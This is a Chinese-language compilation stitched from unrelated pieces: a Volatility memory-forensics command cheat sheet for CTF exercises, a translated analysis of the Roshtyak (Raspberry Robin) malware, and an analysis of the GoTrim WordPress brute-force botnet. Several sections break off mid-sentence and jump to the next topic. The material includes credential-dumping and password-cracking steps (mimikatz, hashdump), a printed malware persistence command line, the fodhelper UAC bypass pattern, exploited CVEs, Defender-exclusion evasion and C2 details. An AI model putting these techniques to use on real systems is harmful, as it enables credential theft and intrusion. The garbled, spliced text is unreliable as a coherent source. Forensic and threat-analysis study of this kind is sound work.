python2 vol.py    -f  worldskills3.vmem     --profile=Win7SP1x64  screenshot --dump-dir=./

注意:需要安装PIL库,建议linux下运行

m1ztgn1hnpw13684.png

22.查看运行程序相关记录,比如最后一次更新时间,运行过的次数等

提取出内存中记录的,当时正在运行的程序有哪些,运行过多少次,最后一次运行的时间等信息

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  userassist

txbxbgtjqrh13689.png

23.最大程度上将内存中的信息提取出来

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  timeliner

注意:将所有操作系统事件以时间线的方式展开kzl00hyogke13692.png

24.查看剪贴板信息

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   clipboardej5ph1ydxal13694.png

25.显示关于计算机及其操作系统的详细配置信息(需要安装插件)

volatility -f 1.vmem --profile=Win7SP1x64 systeminfoi5kw2k31kql13699.png26.查看访问时间

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  mftparserbei0gps2tkj13702.png

27.查看环境变量

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64    envars 

volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   envars | grep "Password"fc4rrzy24xb13703.png

28.列出某一进程加载的所有dll文件 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64 dlllist  volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   dlllist -p 2588yj1kqhugtnb13709.png 29.获取最后登录系统的账户 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64   printkey -K "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"l0dm3ddkld413713.png30.显示进程权限 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  privsunqh33yke3m13716.png31.导出注册表 volatility.exe   -f  worldskills3.vmem     --profile=Win7SP1x64  dumpregistry --dump-dir=./ ykth1uacsga13718.png3vb3e01rni213720.png 32.获取明文密码,直接爆破出用户密码(linxu) python2 vol.py   -f  worldskills3.vmem     --profile=Win7SP1x64  mimikatz kua0l0pccqh13721.png 33.查看SID python2 vol.py   -f  worldskills3.vmem     --profile=Win7SP1x64  getsids zpt1q2qlutf13723.png 34.获取TrueCrypt密码信息 python2 vol.py   -f  worldskills3.vmem     --profile=Win7SP1x64  truecryptpassphrase fz4iotocf4j13725.png 35.获取TrueCrypt秘钥信息 python2 vol.py   -f  worldskills3.vmem     --profile=Win7SP1x64   truecryptmaster 15zkokmn44q13726.png 36.解析MFT记录、导出MFT记录 python2 vol.py   -f  worldskills3.vmem     --profile=Win7SP1x64   mftparser python2 vol.py   -f  worldskills3.vmem     --profile=Win7SP1x64   mftparser  --output-file=mftverbose.txt -D  ./iy1cnmuap2a13728.png 37.寻找可能注入到各种进程中的恶意软件 python2 vol.py   -f  worldskills3.vmem     --profile=Win7SP1x6   malfind 38.usb连接信息 python2 vol.py   -f  worldskills3.vmem     --profile=Win7SP1x64    usbstor odpiasy4akr13729.png

三、插件安装

下载地址: https://github.com/ruokeqx/tool-for-CTF/tree/master/volatility_plugins https://github.com/superponible/volatility-plugins 下载之后,将 .py 插件放进volatility 的 plugins 文件夹目录下(/volatility-master/volatility/plugins)
  • lastpass.py Chrome 记录的登录密码
  • usbstor.py 扫描注册表查找插入系统的 USB 设备
  • chromehistory.py 谷歌浏览器历史记录
  • firefoxhistory.py 火狐浏览器历史记录
  • system_info.py  systeminfo
  • sqlite_help.py 上面两个插件的必须文

四、CTF中内存取证题目类型

 

类型1:隐藏图片
1.查看可疑进程(pslist)
2 导出进程文件
3.使用查看文件内容,确认文件类型(file *.dmp)
4.一般图片文件使用foremost 分离 ( foremost *.dmg)
5.如果分离出来是镜像文件.img损坏(testdisk *.img进行修复)

类型2:剪切板
1.搜索关于flag的文件(filescan | grep flag)
2.搜索IE浏览器历史记录,查看访问了什么网站(iehistory | grep 'https://')
3.查看编辑器中有什么,和文档有关的取证(editbox或者notepad)
4.查看剪切板复制中有什么记录,mspaint对应进程的内容(memdump -p PID值 --dump-dir=./)

类型3:TrueCrypt加密
1.导出TrueCrypt对应进程的内容(memdump -p PID值 --dump-dir=./)
2.使用Elcomsoft Forensic Disk Decryptor对导出的进程进行还原内容
3.用VeraCrypt挂载查看还原的内容

类型4:传输压缩包
1.查看使用过得命令(cmdscan)
2.搜索关键字(filescan | grep 'P@ss')
4.dump出压缩包内存文件(dumpfiles -Q 0x0000000002c61318 -D ./)

类型5:用户密码
1.hashdump导出密码hash值
2.使用jone或者在线工具对其进行NTML值破解
https://crackstation.net/
3.或者使用mimikatz插件进行明文读取用户的密码

类型6:IE浏览器中保存的文件
1.获取IE浏览器历史记录(iehistoy)
2.过滤IE浏览器中的关键字(iehistory | grep jpg或者hint)
3.dump出对应的jpg和hint内存文件(dumpfiles -Q 0x0000000002c61318 -D ./)

类型7:查看主机名和IP
1.主机名(systeminfo插件或者注册表查找对应的键名)
2.ip(netscan)

类型8:剪切板内容
1.获取剪切板内容(clipboard插件)

类型9:隐藏了flag
1.搜索flag.txt文件(filescan | grep flag)
2.导出flag.txt内存文件(dumpfiles -Q 0x0000000002c61318 -D ./)

类型10:隐藏的加密的AES
1.查看可疑程序进程(查看ppid和pid值对比以及时间不一样可判断出可疑进程也还可以用chatget来判断)
2.查找曾经使用过的命令(cmdscan)
3.分别导出子进程和父进程的内存内容分析(memdump -p PID值 --dump-dir=./)
4.找到KEY和IE值,是AES加密

类型11:encryto加密
1.查看可疑进程(pslist)
2.查看历史命令,.查看到加密的历史文件(cmdscan)
3.导出加密的历史可疑文件(dumpfiles -Q 0x000000003e435890 --dump-dir=./**)
4.使用encryto进行解密

类型12:匿名用户登录
1.查看可疑进程,这里是注册表的进程有可疑(pslist)
2.dump出注册表的进程内容(memdump -p 804 --dump-dir=./)
3.查看DUMP出注册表内存关键字sam (strings -e l -d 804.dmp|grep "SAM" ),发现有可疑的用户名
4.检索注册表中的该用户 printkey -K "SAM\Domains\Account\Users\00000493"
5.hashdum出对应账号的用户名的密码(hashdump|grep "FHREhpe")


类型13:rootkiet.exe木马
1.查看可疑进程(pslist)
一般rootkit恶意程序与svchost进行捆绑并注入到svchost.exe中,需要进入安全电脑模式才能清理
2.-查找进程注入引用的文件(-p 880 handles -t file)
3进程在运行过程中被注入的DLL文件(ldrmodules -p 880 | grep -i false)
4.个注入的dll文件的内存地址(malfind -p 880)
dlldump -p 880 --base=0x980000 --dump-dir=.

 

volatility命令练习的内存镜像: 链接: https://pan.baidu.com/s/1LXSJ_RL9yotb8IKbzIQZ3g 提取码: syny        参考文章: https://blog.csdn.net/m0_68012373/article/details/129038773  

變量隱藏一些變量不是以明文形式存儲的,而是使用一個或多個算術指令隱藏起來的。這意味著如果Roshtyak 沒有主動使用變量,它將以混淆的形式保留該變量的值。每當Roshtyak需要使用該變量時,它必須在使用它之前先解開它的掩碼。相反,在Roshtyak使用該變量後,它會將其轉換回掩碼形式。這種隱藏方法使調試期間跟踪變量的工作變得複雜,並使搜索內存中已知變量值變得更加困難。

循環變換Roshtyak 在一些循環條件下很有創意。它沒有像for (int i=0; i 1690; i++) 那樣編寫循環,而是將循環轉換為for (int32_t i=0x06AB91EE;我!=0 x70826068;i=i * -0x509FFFF +0xEC891BB1)。雖然兩個循環都將執行1690 次,但第二個循環要難得多。乍一看,不清楚第二個循環執行了多少次迭代,甚至不知道它是否會終止。在第二種情況下,在調試期間跟踪循環迭代的次數也要困難得多。

包裝如上所述,Roshtyak 的核心隱藏在多層包裝之後。雖然所有的層看起來都像是最初編譯到PE文件中,但除了嚴格必要的數據(入口點、節、導入和重定位)之外的所有數據都被剝離了。此外,Roshtyak 支持兩種自定義格式來存儲剝離的PE 文件信息,各層輪流使用對應的格式。此外,段自定義格式是加密的,有時使用基於各種反分析檢查結果生成的密鑰。

這使得將Roshtyak 的層靜態解壓到一個獨立的PE 文件中變得很困難。首先,必須對自定義格式進行逆向工程,並弄清楚如何解密加密段。然後,必須重構PE 標頭、段、段標題和導入表(重定位表不需要重構,因為重定位可以被關閉)。雖然這一切都是完全可行的,並且可以使用像LIEF 這樣的庫來簡化,但這可能需要大量的時間。除此之外,這些層有時是相互依賴的,在內存中動態分析Roshtyak 可能更容易。

15.1.png

其中一個自定義PE 類文件格式的段標題:raw_size 對應於SizeOfRawData,raw_size + virtual_padding_size 實際上是VirtualSize。沒有VirtualAddress 或PointerToRawData 等效項,因為這些段是按順序加載的。

其他混淆技巧除了上述技巧之外,Roshtyak 還使用其他混淆技巧,包括:

垃圾指令插入;

導入哈希;

頻繁清除內存;

混合佈爾算術混淆;

冗餘線程;

重多態性;

核心功能既然我們已經描述了Roshtyak 如何保護自己,那麼看看它的實際作用可能會很有趣。 Roshtyak 的DLL 相對較大,超過1 兆字節,但是一旦消除了所有的混淆,它的功能就非常簡單。它的主要目的是下載更多的有效載荷來執行。此外,它還執行通常的惡意軟件操作,即建立持久性、提升權限、橫向移動和洩露有關受害者的信息。

持久性攻擊Roshtyak 首先在%SystemRoot%\Temp 中生成一個隨機文件名,並將其DLL 映像移動到那裡。生成的文件名由2到8個隨機小寫字符與從硬編碼列表中選擇的隨機擴展名組成。用於生成此文件名的PRNG的捲序列號為C:\。我們分析的示例是硬編碼的7個擴展名(.log、tmp、loc、dmp、out、ttf 和.etl)。我們觀察到其他示例中使用了其他擴展,這表明這個列表是動態的。 Roshtyak 也很有可能會使用隨機生成的擴展。一旦完全構建,到Roshtyak DLL的完整路徑可能看起來如C:\Windows\Temp\wcdp.etl這樣。

將DLL 映像移動到新的文件系統路徑後,Roshtyak 將其修改後的時間戳記到當前系統時間。然後它繼續設置RunOnce(Ex) 註冊表項,以實際建立持久性。註冊表項是使用前面描述的間接註冊表寫入技巧創建的。插入密鑰的命令可能如下所示:

RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s 'C:\Windows\Temp\wcdp.etl.'

這裡有幾點需要注意。首先,regsvr32 不關心它加載的DLL 的擴展名,從而允許Roshtyak 隱藏在.log 等看似無害的擴展名下。其次,/s 參數將regsvr32 置於靜默模式。如果沒有它,regsvr32將抱怨找不到名為DllUnregisterServer的導出。最後,請注意路徑末尾的句號字符。該句號在路徑規範化期間被釋放,因此它實際上對命令沒有影響。所以,我們不確定開發者的初衷是什麼。它看起來像是被設計用來欺騙一些反惡意軟件,使其無法將持久性條目與文件系統上的有效負載連接起來。

默認情況下,Roshtyak 使用HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 項進行持久化。但是,在某些情況下(例如,當它通過檢查名為avp.exe 的進程檢測到Kaspersky 正在運行時)將使用密鑰HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx。 RunOnceEx 項能夠加載DLL,因此在使用該項時,Roshtyak 直接指定shell32.dll,省略了rundll32的使用。

16.1.png

Roshtyak 建立的RunOnceEx 持久性條目

權限提升Roshtyak 使用UAC 繞過和常規EoP 漏洞來嘗試提升其權限,與許多其他惡意軟件只是盲目地執行開發者可以找到的任何UAC 繞過/利用的惡意軟件不同,Roshtyak 努力確定權限提升方法是否有可能成功。由於不必要地使用了不兼容的繞過/漏洞,這可能是為了降低檢測的機會。對於UAC 繞過,這涉及檢查ConsentPromptBehaviorAdmin 和ConsentPromptBehaviorUser 註冊表項。對於EoP 漏洞利用,這是關於檢查Windows 內部版本號和補丁級別。

除了檢查ConsentPromptBehavior(Admin|User) 項之外,Roshtyak 還執行其他健全性檢查以確保它應該繼續繞過UAC。即,它使用SID S-1-5-32-544 (DOMAIN_ALIAS_RID_ADMINS) 的CheckTokenMembership 檢查管理員權限。它還檢查KUSER_SHARED_DATA.SharedDataFlags 中DbgElevationEnabled 標誌的值。這是一個未記錄的標誌,在啟用UAC 時設置。最後,還有針對BitDefender(由模塊atcuf32.dll 檢測)、卡巴斯基(進程avp.exe)和我們自己的Avast/AVG(模塊aswhook.dll)的殺毒軟件檢查。如果檢測到這些殺毒軟件,Roshtyak 會避開選定的UAC 繞過技巧,大概是那些可能導致被檢測到。

至於實際的UAC旁路,主要有兩種實現方法。第一個是UACMe 中恰當命名的ucmDccwCOM 方法的實現。有趣的是,當執行此方法時,Roshtyak 通過覆蓋對應於主可執行模塊的_LDR_MODULE 結構中的FullDllName 和BaseDllName 臨時將其進程偽裝成explorer.exe。此方法啟動的有效負載是一個隨機命名的LNK 文件,使用IShellLink COM 接口放入%TEMP%。此LNK 文件旨在通過LOLBins(例如advpack 或register-cimprovider)重新啟動Roshtyak DLL。

第二種方法更像是一個UAC 繞過框架而不是特定的繞過方法,因為多個UAC 繞過方法遵循相同的簡單模式:首先註冊一些特定的shell 打開命令,然後執行自動提升的Windows 二進製文件(內部觸發shell 打開命令)。例如,可以通過向HKCU\Software\Classes\ms-settings\shell\open\command 寫入有效負載命令,然後從%windir%\system32 執行fodhelper.exe 來完成UAC 繞過。基本上,同樣的繞過可以通過用其他對替換ms-settings/fodhelper.exe來實現,例如mscfile/eventvwr.exe。 Roshtyak使用以下6對來繞過UAC:

17.png

現在讓我們看看Roshtyak 用於提升權限的內核漏洞(CVE-2020-1054 和CVE-2021-1732)。與Roshtyak 中的常見情況一樣,這些漏洞被加密存儲,並且僅在需要時才解密。有趣的是,一旦解密,漏洞利用結果是具有完全有效標頭的常規PE 文件,與Roshtyak 中的其他層不同,它們要么以shellcode 形式存在,要么以自定義剝離的PE 格式存儲。此外,這些漏洞不像Roshtyak的其他漏洞那樣容易混淆,所以它們的代碼可以立即反編譯,而且只使用了一些基本的字符串加密。我們不知道為什麼攻擊者讓這些漏洞如此暴露,但這可能是由於位數的不同。雖然Roshtyak 本身是x86 代碼(大段時間在WoW64 下運行),但漏洞利用是x64,考慮到它們利用64 位代碼中的漏洞,這是有道理的。可能Roshtyak 的開發者使用的混淆工具是為x86 設計的,不能移植到x64。

18.png

Roshtyak利用CVE-2020-1054的代碼片段,掃描IsMenu找到HMValidateHandle的偏移量

為了執行漏洞,Roshtyak 生成(AMD64 版本)winver.exe 並使用KernelCallbackTable 注入方法獲取漏洞代碼以在其中運行。 Roshtyak的這種注入方法的實現基本上與公共PoC相匹配,最大的區別是由於需要跨子系統注入而使用了略微不同的API函數(例如NtWow64QueryInformationProcess64而不是NtQueryInformationProcess或NtWow64ReadVirtualMemory64而不是ReadProcessMemory)。注入winver.exe的代碼不是利用PE本身,而是稍微混淆的shellcode,旨在將漏洞利用PE 加載到內存中。

內核漏洞針對某些未打補丁的Windows 版本。具體來說,CVE-2020-1054 僅用於版本號不高於24552 的Windows 7 系統。另一方面,CVE-2021-1732 的漏洞利用在Windows 10 上運行,目標內部版本號範圍為16353 到19042。在利用CVE-2021-1732之前,Roshtyak還會掃描已安裝的更新包,以查看是否安裝了針對該漏洞的補丁。它通過枚舉HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based services \Packages下面的註冊表項,並檢查KB4601319(或更高)的包是否存在。

橫向運動在橫向移動方面,Roshtyak 只使用久經考驗的PsExec 工具。在執行PsExec 之前,Roshtyak 通過檢查與“眾所周知的”WinAccountDomainAdminsSid 組匹配的SID 來確保運行它是有意義的。如果未檢測到域管理員權限,Roshtyak 將完全跳過其橫向移動階段。

Roshtyak 試圖通過設置Defender 排除項來繞過檢測,因為PsExec 通常被標記為黑客工具(有充分的理由)。它為%TEMP% 設置一個路徑排除(它將釋放PsExec 和其他用於橫向移動的文件)。稍後,它會為執行PsExec 的確切路徑設置一個進程排除。

雖然我們希望PsExec被捆綁到Roshtyak中,但結果是Roshtyak從https://download.sysinternals[.]com/files/PSTools.zip按需下載PsExec。下載的zip歸檔文件被放入%TEMP%中,後綴名為.zip。然後使用Windows Shell COM接口(IShellDispatch)將PsExec從這個歸檔文件解壓縮到%TEMP%中隨機命名的.exe文件中。

PsExec 執行的有效負載是一個自解壓包,由名為IExpress 的工具創建。這是一個古老的安裝程序,它是Windows 的一部分,這可能就是使用它的原因,因為Roshtyak 可以依賴它已經在受害者設備上。安裝程序生成由使用自解壓指令(SED) 語法的文本文件配置。

19.png

Roshtyak 的IExpress 配置模板

Roshtyak 使用具有三個佔位符(%1、%2 和%3)的SED 配置模板,它在運行時將其替換為實際值。如上所示,配置模板是混合大小寫編寫的,通常在Raspberry Robin 中經常使用。準備好SED配置後,它就會被寫入%TEMP% 中隨機命名的.txt 文件。然後,調用iexpress 以使用C:\Windows\iexpress.exe /n /q

生成有效負載後,Roshtyak就開始實際運行PsExec。 Roshtyak 可以通過兩種方式執行PsExec。第一個使用命令

分析受害者USB 蠕蟲往往有自己的活動。由於它們的蠕蟲行為通常是完全自動化的,因此最初部署蠕蟲的攻擊者不一定完全控制它的傳播位置。這就是為什麼攻擊者將蠕蟲信標返回到他們的CC 服務器很重要的原因。有了信標機制,攻擊者就可以獲知他們控制的所有機器的信息,並可以利用這些信息對蠕蟲進行管理。

發出的信標郵件通常包含有關受感染計算機的一些信息。這有助於有經濟動機的攻擊者決定如何利用攻擊獲利。 Roshtyak 也不例外,它收集了有關每個受感染受害者的大量信息。 Roshtyak 將所有收集到的信息連接成一個大字符串,使用分號作為分隔符。這個大字符串然後被轉移到Roshtyak的CC服務器上。下面按順序列出了過濾出來的信息。

外部IP 地址(在Tor 連接檢查期間獲得);

一個硬編碼到Roshtyak 代碼中的字符串,例如AFF123(我們無法確定這背後的含義,但它看起來像一個附屬ID);

DLL 的PE 標頭的16 位哈希(一些字段清零)與其TimeDateStamp 的低16 位異或。 TimeDateStamp 似乎是經過特殊設計的,因此異或會產生一個已知值。這可以作為篡改檢查或水印的功能;

系統驅動器上System Volume Information 文件夾的創建時間戳;

系統驅動器的捲序列號;

處理器計數(GetActiveProcessorCount);

IsWow64Process (_PROCESS_EXTENDED_BASIC_INFORMATION.Flags 2);

Windows 版本(KUSER_SHARED_DATA.Nt(Major|Minor)Version);

Windows 產品類型(KUSER_SHARED_DATA.NtProductType);

Windows 構建號(PEB.OSBuildNumber);

本地管理權限(ZwQueryInformationToken(TokenGroups)/CheckTokenMembership,檢查DOMAIN_ALIAS_RID_ADMINS);

域管理權限(檢查WinAccountDomainAdminsSid/WinAccountDomainUsersSid);

系統時間(KUSER_SHARED_DATA.SystemTime);

時區(KUSER_SHARED_DATA.TimeZoneBias);

系統區域設置(NtQueryDefaultLocale(0));

用戶區域設置(NtQueryDefaultLocale(1));

環境變量(username, computername, userdomain, userdnsdomain和logonserver);

Java 版本(GetFileVersionInfo('javaw.exe') - VerQueryValue);

處理器信息(獲取處理器品牌字符串的cpuid);

主可執行模塊的映像路徑(NtQueryVirtualMemory(MemorySectionName));

主物理驅動器的產品ID 和序列號(DeviceIoControl(IOCTL_STORAGE_QUERY_PROPERTY, StorageDeviceProperty));

默認網關的MAC 地址(GetBestRoute - GetIpNetTable);

所有網絡適配器的MAC 地址(GetAdaptersInfo);

安裝的防病毒軟件(root\securitycenter2 - SELECT * FROM AntiVirusProduct);

顯示設備信息(DeviceId、DeviceString、dmPelsWidth、dmPelsHeight、dmDisplayFrequency)(EnumDisplayDevices - EnumDisplaySettings);

活動進程(NtQuerySystemInformation(SystemProcessInformation));

以base64 編碼的屏幕截圖(gdi32 方法);

信標收集過程完成後,Roshtyak將受害者的資料發送到CC服務器。配置文件通過Tor 網絡發送,使用Roshtyak 注入新生成的進程的自定義通信模塊。 CC 服務器處理洩露的配置文件,並可能使用shellcode 有效負載進行響應,以供核心模塊執行。

現在讓我們仔細看看這整個過程。值得一提的是,在生成任何惡意流量之前,Roshtyak 首先會執行Tor 連接檢查。這是通過以隨機順序聯繫28 個合法且知名的.onion 地址並檢查其中至少一個是否響應來完成的。如果他們都沒有回應,Roshtyak甚至不會嘗試聯繫CC,因為它很有可能無法與CC取得聯繫。

至於實際的CC 通信,Roshtyak 包含35 個硬編碼的V2 洋蔥地址(例如ip2djbz3xidmkmkw:53148,請參閱我們的IoC 存儲庫以獲取完整列表)。就像在連接檢查期間一樣,Roshtyak 以隨機順序遍歷它們並嘗試聯繫它們中的每一個,直到其中一個做出響應。請注意,雖然V2 洋蔥地址已被正式棄用,取而代之的是V3 地址,並且Tor 瀏覽器在其最新版本中不再支持它們,但對於Roshtyak的邪惡目的而言,它們的功能似乎仍然足夠。

20.png

Roshtyak 的硬編碼CC 地址

受害者配置文件以URL路徑發送,附加在V2洋蔥地址和/字符之後。由於原始概要文件可能包含禁止在url中使用的字符,因此概要文件被封裝在自定義結構中,並使用Base64進行編碼。自定義結構的第一個0x10字節作為加密密鑰,其餘的結構將被加密。自定義結構還包含受害者概要文件的64位哈希,它可能用作完整性檢查。有趣的是,自定義結構的尾部可能填充了隨機字節。注意,完整的路徑可能非常大,因為它包含一個雙base64編碼的截圖。 Roshtyak的開發者可能意識到URL路徑不適合發送大量數據,並決定將受害者配置文件的長度限制在0x20000字節。如果屏幕截圖使洩露的配置文件大於此限制,則不包括在內。

構建完整的洋蔥URL 後,Roshtyak 繼續啟動其Tor 通信模塊。它首先生成一個虛擬進程來託管comms 模塊。這個虛擬進程是隨機選擇的,可以是dllhost.exe、regsvr32.exe 或rundll32.exe 之一。 comms 模塊使用共享段注入到新生成的進程中,並通過前面描述的shellcode 隱藏技巧進行了混淆。然後通過NtQueueApcThreadEx 執行comms 模塊,使用已經討論過的ntdll gadget技巧。注入的comms 模塊是一個開源Tor 庫的自定義構建,包含在三個額外的保護性shellcode 層中。

核心模塊使用共享段作為IPC 機制與comms 模塊進行通信。兩個模塊同步使用具有相同種子(KUSER_SHARED_DATA.Cookie) 的相同PRNG 來生成相同的段名稱。然後,兩者都將此命名段映射到各自的地址空間,並通過讀取/寫入來相互通信。讀取/寫入該段的數據使用RC4 加密(密鑰也使用同步的PRNG 生成)。

核心模塊和通信模塊之間的通信遵循簡單的請求/響應模式。核心模塊將加密的洋蔥URL(包括要洩露的URL 路徑)寫入共享段。 comms 模塊然後解密URL 並通過Tor 向它發出HTTP 請求。核心模塊等待comms 模塊將加密的HTTP 響應寫回共享段。一旦它在那裡,核心模塊將其解密並從自定義格式解包,包括再次解密併計算哈希以檢查有效負載的完整性。解密後的有效載荷可能包含一個供核心模塊執行的shellcode。如果shellcode 存在,核心模塊分配一大塊內存,

FortiGuard實驗室最近遇到了一個以前沒有報導過的內容管理系統(CMS)掃描器和用Go編程語言(通常也稱為Golang)編寫的攻擊破解器。在幾個在線論壇上,它被描述為安裝在受感染的WordPress網站上,但沒有公開的分析報告。

受影響平台:Linux;

影響用戶:任何組織;

影響:遠程攻擊者可以控制易受攻擊的系統;

嚴重級別:嚴重;

Golang攻擊破解器並不新鮮。例如,我們之前報導過2019年的StealthWorker活動。這個新的攻擊破解器是我們命名為GoTrim的新活動的一部分,因為它是用Go編寫的,並使用“:trim:”來區分與C2服務器通信的數據。

與StealthWorker類似,GoTrim也利用網絡執行傳播式攻擊攻擊。我們發現最早的樣本是在2022年9月。在撰寫本文時,該活動仍在進行中。

本文詳細介紹了這個殭屍網絡如何使用WordPress和OpenCart掃描和破壞網站。

攻擊鏈picture1.png

GoTrim攻擊鏈

GoTrim使用木馬網絡對其目標執行傳播式攻擊攻擊。每個木馬都會獲得一組憑據,用來嘗試登錄一長串的網站目標。成功登錄後,木馬客戶端將被安裝到新感染的系統中。然後,它等待來自攻擊者的進一步命令,從而擴展木馬網絡。

GoTrim僅在攻擊嘗試成功後向C2服務器報告憑據。我們沒有在GoTrim中觀察到任何用於傳播自身或部署其他惡意軟件的代碼。然而,我們確實找到了下載和執行GoTrim bot客戶端的PHP腳本。攻擊者似乎在某種程度上濫用洩露的憑據來部署PHP腳本以感染GoTrim系統。

picture2.png

PHP下載腳本

通常,每個腳本都將GoTrim惡意軟件從硬編碼的URL下載到與腳本本身相同的目錄中的文件並執行它。為了掩蓋其踪跡,下載器腳本和GoTrim攻擊程序都從受感染的系統中刪除。它不會在受感染的系統中保持持久性。

靜態分析除非另有說明,本文中詳細的分析是基於具有SHA-256哈希c33e50c3be111c1401037cb42a0596a123347d5700cee8c42b2bd30cdf6b3be3的示例。

GoTrim是用Go 1.18版本構建的。與所有Go應用程序一樣,代碼中使用的所有第三方庫都靜態鏈接到惡意軟件,導致可執行二進製文件相對較大。但是這樣做的好處是不依賴任何外部文件來正確執行。為了解決大小問題,惡意軟件使用UPX打包,將文件從6 MB減少到1.9 MB。

使用Go的另一個優點是,相同的源代碼可以交叉編譯,以支持不同的體系結構和操作系統。根據示例中的源代碼路徑,在開發GoTrim時使用了Windows。但是,我們只觀察到針對64位Linux的示例。

C2通信GoTrim可以通過兩種方式與命令和控制(C2)服務器通信:客戶端模式,它向命令和控制服務器(C2服務器)發送HTTP POST請求,或服務器模式,它啟動HTTP服務器以偵聽傳入的POST請求。與C2交換的所有數據都使用Galois計數器模式下的高級加密標準(AES-GCM)進行加密,密鑰來自嵌入惡意軟件二進製文件中的口令。

默認情況下,如果受感染的惡意軟件直接連接到internet(即受害者的出站或本地IP地址是非私有的),GoTrim將嘗試在服務器模式下運行。否則,將切換到客戶端模式。

執行後,GoTrim創建一個MD5哈希,表示受感染設備的唯一標識(木馬ID)。它由以下字符串生成,包含由“:”字符分隔的幾條信息:

VICTIM_EXTERNAL_IP:HTTP_SERVER_PORT:1:OUTBOUND_IP:AES_PASSPHRASE

VICTIM_EXTERNAL_IP:設備的外部/公共IP;

HTTP_SERVER_PORT:HTTP服務器端口。這是在服務器模式下為HTTP服務器隨機生成的介於4000到8000之間的數字。對於客戶端模式,始終為0;

惡意軟件初始化標誌:在計算木馬ID時始終設置為1;

OUTBOUND_IP:目標設備的出站/本地IP地址;

AES_PASSPHRASE:嵌入每個樣本的硬編碼字符串。該惡意軟件後來使用該字符串的SHA256哈希作為AES-GCM密鑰,用於加密其與C2服務器的通信。我們觀察到的所有樣本都共享相同的AES密碼。

在生成bot ID之後,GoTrim創建一個異步Go例程(類似於多線程),該例程在客戶端和服務器模式下向C2服務器發送信標請求。

C2請求URL在不同版本之間發生變化,如本文稍後部分所述。對於此特定示例,信標請求URL為“/selects?dram=1”。

在這個信標請求中,一些受害者和木馬信息被發送到C2服務器,如下圖所示。

picture3.png

發送到C2服務器的數據截圖

信標請求中發送的一些有趣的字段包括:

1. Bot ID:木馬的唯一ID;

2.外部IP:受害設備的公共IP地址;

3.HTTP服務器端口:為HTTP服務器隨機生成的端口(客戶端模式為0);

4.惡意軟件初始化標誌:發出此請求時始終設置為1;

5.出站IP:受害目標設備的本地IP地址;

6.狀態消息:“GOOD”消息被其他字符串替換,這些字符串在後續信標請求期間報告任何正在運行的CMS檢測或強制執行任務的狀態;

7.狀態標誌:這些標誌指示惡意軟件當前是否有C2服務器分配的任何處理任務以及這些任務的ID;

8.MD5校驗和:該值由上述請求的部分和硬編碼的AES密碼生成,它用作消息完整性校驗和。

這些字段通過:trim:字符串連接在一起,因此為這個活動選擇了這個名稱。然後使用AES-256-GCM密鑰加密數據,這是前面提到的密碼的SHA-256哈希。

服務器通常以“OK”、“404 page not found”或“BC”響應,所有這些都使用相同的AES-GCM密鑰加密。當收到“BC”時,GoTrim將重新生成其bot ID並從服務器模式切換到客戶端模式。

第一個信標請求是向木馬網絡註冊一個新的木馬。

每次信標請求後,GoTrim會休眠幾秒到幾分鐘,這取決於C2服務器的響應,以及惡意軟件在發送下一個請求之前是否正在處理C2分配的任務。惡意軟件定期執行此信標請求,以更新C2服務器有關木馬狀態的信息,包括成功的憑據,如本文的攻擊攻擊部分所述。如果GoTrim在100次重試後未能從C2服務器接收到有效響應,它將自行終止。

當信標請求被異步發送以更新C2服務器的狀態時,GoTrim要么向C2服務器發送請求以接收命令(客戶端模式),要么設置HTTP服務器以偵聽傳入的任務請求(服務器模式)。

客戶端模式在客戶端模式下,惡意軟件發送一個POST請求到“/selects?”bilert=1 '接收來自C2服務器的命令。

C2服務器響應使用相同AES-GCM密鑰加密的命令。在下圖中可以看到一個解密命令的示例。

picture4.png

包含命令及其選項的響應截圖

通過“:trim:”字符串分割數據後,可以識別7個字段,如下所示。

1. MD5校驗和:用於校驗消息的完整性。如:83217f8b39dccc2f9f2a0157f0236c4f;

2. 命令ID:表示當前任務的命令;

3.並發級別:這會影響每個任務執行的goroutine的數量;

4. 命令選項:包含命令的選項,以7E 6A 71 6D 70 C2 A9 (~jqmp©)字節分隔。根據命令的不同,它們的解釋也不同:

a.目標列表:這是GZIP壓縮數據,解壓縮後,包含將作為登錄嘗試目標的域列表。

b.命令選項1(已修訂):此選項包含身份驗證命令的用戶名。 C2服務器可以指定一系列字節(如C2 A9 64)來使用域作為用戶名,而不是為每個域使用相同的用戶名。

c.命令選項2(修改後):對於認證命令,該選項包含密碼;

d.命令選項3:WordPress認證的未知選項;

e.命令選項4:WordPress身份驗證選項,在提交憑據時使用POST請求或XML-RPC。

5. 內部值:惡意軟件本身不使用的數值(例如,42和255),可能代表當前命令的內部任務ID。

惡意軟件支持以下命令:

1:驗證WordPress域提供的憑據;

2:驗證對Joomla!域提供的憑據(目前尚未實現);

3:根據OpenCart域驗證所提供的憑據;

4:根據Data Life Engine域驗證所提供的憑據(目前尚未實現);

10:檢測在域中安裝WordPress, Joomla! OpenCar或Data Life Engine CMS;

11:終止惡意軟件;

我們觀察到一個目標列表在一個WordPress認證命令中包含多達30000個域。此外,我們觀察到,身份驗證命令只提供一個密碼來測試列表中的所有域。如上所述,攻擊可能是通過命令受感染設備網絡測試不同的域和憑據來傳播的。

惡意軟件完成處理命令後,在發送另一個POST請求以接收來自C2服務器的新任務之前,它會休眠一段時間。

服務器模式在服務器模式下,GoTrim在4000到7999之間的隨機端口上啟動服務器,以響應攻擊者發送的傳入POST請求。這種模式為攻擊者提供了一種與木馬通信的更靈敏的方式。例如,攻擊者可以檢查木馬的狀態,而無需等待後續的信標請求,只需向木馬的HTTP服務器處理的特定URL發送POST請求。

